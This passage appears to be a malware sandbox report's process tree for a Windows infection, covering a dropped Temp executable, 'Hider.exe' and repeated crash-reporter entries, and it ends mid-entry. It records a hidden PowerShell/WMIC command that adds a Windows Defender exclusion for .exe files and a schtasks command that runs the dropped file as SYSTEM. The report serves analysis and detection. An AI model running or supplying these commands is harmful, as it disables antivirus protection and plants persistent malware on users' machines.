"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --first-renderer-process --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3380 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:1
7⤵
PID:5180

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3388 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:1
7⤵
PID:3916

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3984 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:1
7⤵
PID:7740

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-sandbox --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3936 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:8
7⤵
PID:748

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-sandbox --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=1676 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:8
7⤵
PID:7024

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4240 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:1
7⤵
PID:8224

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4280 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:1
7⤵
PID:8420

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=4308 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:1
7⤵
PID:8796

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4064 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:1
7⤵
PID:8804

C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.1 Chrome/122.0.0.0 Mobile Safari/537.36" --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4932 --field-trial-handle=2976,i,6907963687764692026,5088032315882949220,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:1
7⤵
PID:9620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2200
4⤵
- Program crash
PID:7488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2244
4⤵
- Program crash
PID:7804

C:\Users\Admin\AppData\Local\Temp\8noFbsXv\Ia9xpKRxIW6YtI.exe
C:\Users\Admin\AppData\Local\Temp\8noFbsXv\Ia9xpKRxIW6YtI.exe /did=757674 /S
4⤵
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Enumerates system info in registry
PID:7204

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
5⤵
PID:7760

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
PID:8032

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:100

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
8⤵
PID:7860

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bSqDvJefqHHToWFkhX" /SC once /ST 19:41:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\8noFbsXv\Ia9xpKRxIW6YtI.exe\" 8O /CKdidWr 757674 /S" /V1 /F
5⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:7300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7204 -s 812
5⤵
- Program crash
PID:7252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1892
4⤵
- Program crash
PID:6288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2200
4⤵
- Program crash
PID:7476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1744
4⤵
- Program crash
PID:6336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1860
4⤵
- Program crash
PID:2984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2120
4⤵
- Program crash
PID:7216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2092
4⤵
- Program crash
PID:7272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2152
4⤵
- Program crash
PID:7016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1900
4⤵
- Program crash
PID:7596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1900
4⤵
- Program crash
PID:7820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1908
4⤵
- Program crash
PID:6844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2152
4⤵
- Program crash
PID:2984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1800
4⤵
- Program crash
PID:7188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1308
4⤵
- Program crash
PID:7340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1828
4⤵
- Program crash
PID:7464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1808
4⤵
- Program crash
PID:7576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2116
4⤵
- Program crash
PID:1924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 2188
4⤵
- Program crash
PID:6100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1016
4⤵
- Program crash
PID:8108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1192
4⤵
PID:9464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 6204 -ip 6204
1⤵
PID:6488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 6204 -ip 6204
1⤵
PID:6656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 6204 -ip 6204
1⤵
PID:3600

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 6204 -ip 6204
1⤵
PID:6832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 6204 -ip 6204
1⤵
PID:2816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 6204 -ip 6204
1⤵
PID:6932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 6204 -ip 6204
1⤵
PID:4504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 6204 -ip 6204
1⤵
PID:6156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6204 -ip 6204
1⤵
PID:6124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 6204 -ip 6204
1⤵
PID:6352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 6204 -ip 6204
1⤵
PID:6872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 6204 -ip 6204
1⤵
PID:5336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 6204 -ip 6204
1⤵
PID:3388

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --field-trial-handle=6708,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:1
1⤵
PID:3600

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --field-trial-handle=6972,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=6736 /prefetch:1
1⤵
PID:6824

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --field-trial-handle=5184,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=6676 /prefetch:8
1⤵
PID:1328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6204 -ip 6204
1⤵
PID:3972

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x474 0x4e0
1⤵
PID:6932

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --field-trial-handle=6592,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:8
1⤵
PID:4836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 6204 -ip 6204
1⤵
PID:6020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 6204 -ip 6204
1⤵
PID:5800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 6204 -ip 6204
1⤵
PID:5536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 6204 -ip 6204
1⤵
PID:6132

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --field-trial-handle=7776,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=6616 /prefetch:1
1⤵
PID:3248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6204 -ip 6204
1⤵
PID:6124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 6204 -ip 6204
1⤵
PID:6392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6204 -ip 6204
1⤵
PID:6868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 6204 -ip 6204
1⤵
PID:5936

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --field-trial-handle=7880,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=7916 /prefetch:1
1⤵
PID:6432

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --field-trial-handle=8032,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=8008 /prefetch:1
1⤵
PID:6000

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=40 --field-trial-handle=8028,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=8212 /prefetch:1
1⤵
PID:3972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 6204 -ip 6204
1⤵
PID:6348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6204 -ip 6204
1⤵
PID:5504

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=41 --field-trial-handle=8260,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=8564 /prefetch:1
1⤵
PID:5444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6204 -ip 6204
1⤵
PID:6096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 6204 -ip 6204
1⤵
PID:6900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 6204 -ip 6204
1⤵
PID:5832

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --field-trial-handle=8644,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=8640 /prefetch:1
1⤵
PID:6184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 6204 -ip 6204
1⤵
PID:6124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6204 -ip 6204
1⤵
PID:6900

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --field-trial-handle=8656,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=8732 /prefetch:1
1⤵
PID:1484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --field-trial-handle=8928,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=8680 /prefetch:8
1⤵
PID:6124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 6204 -ip 6204
1⤵
PID:3324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 6204 -ip 6204
1⤵
PID:5832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6204 -ip 6204
1⤵
PID:4620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 6204 -ip 6204
1⤵
PID:6212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 6204 -ip 6204
1⤵
PID:6376

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --field-trial-handle=8980,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=8976 /prefetch:8
1⤵
PID:6336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 6204 -ip 6204
1⤵
PID:6096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6204 -ip 6204
1⤵
PID:6424

C:\Users\Admin\Downloads\Disappear.exe
"C:\Users\Admin\Downloads\Disappear.exe"
1⤵
PID:2908

C:\Users\Admin\Downloads\Disappear.exe
"C:\Users\Admin\Downloads\Disappear.exe"
2⤵
- Loads dropped DLL
PID:6376

C:\HIDER\Loader\Hider.exe
"C:\HIDER\Loader\Hider.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
PID:7608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7608 -s 1180
4⤵
- Program crash
PID:7956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 6204 -ip 6204
1⤵
PID:6348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 6204 -ip 6204
1⤵
PID:7588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 6204 -ip 6204
1⤵
PID:7944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6204 -ip 6204
1⤵
PID:8096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 6204 -ip 6204
1⤵
PID:7392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 6204 -ip 6204
1⤵
PID:6476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 6204 -ip 6204
1⤵
PID:7336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 6204 -ip 6204
1⤵
PID:7604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6204 -ip 6204
1⤵
PID:6284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 6204 -ip 6204
1⤵
PID:6844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6204 -ip 6204
1⤵
PID:8004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6204 -ip 6204
1⤵
PID:8176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 6204 -ip 6204
1⤵
PID:1452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 6204 -ip 6204
1⤵
PID:8036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 6204 -ip 6204
1⤵
PID:5504

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=5484,i,10925946972013221578,8820669985803190952,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:8
1⤵
PID:7444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6204 -ip 6204
1⤵
PID:6148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 6204 -ip 6204
1⤵
PID:6192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 6204 -ip 6204
1⤵
PID:3560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 6204 -ip 6204
1⤵
PID:7208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 6204 -ip 6204
1⤵
PID:7992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 6204 -ip 6204
1⤵
PID:8108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 7608 -ip 7608
1⤵
PID:6032

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:6696

C:\Users\Admin\AppData\Local\Temp\8noFbsXv\Ia9xpKRxIW6YtI.exe
C:\Users\Admin\AppData\Local\Temp\8noFbsXv\Ia9xpKRxIW6YtI.exe 8O /CKdidWr 757674 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5264

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
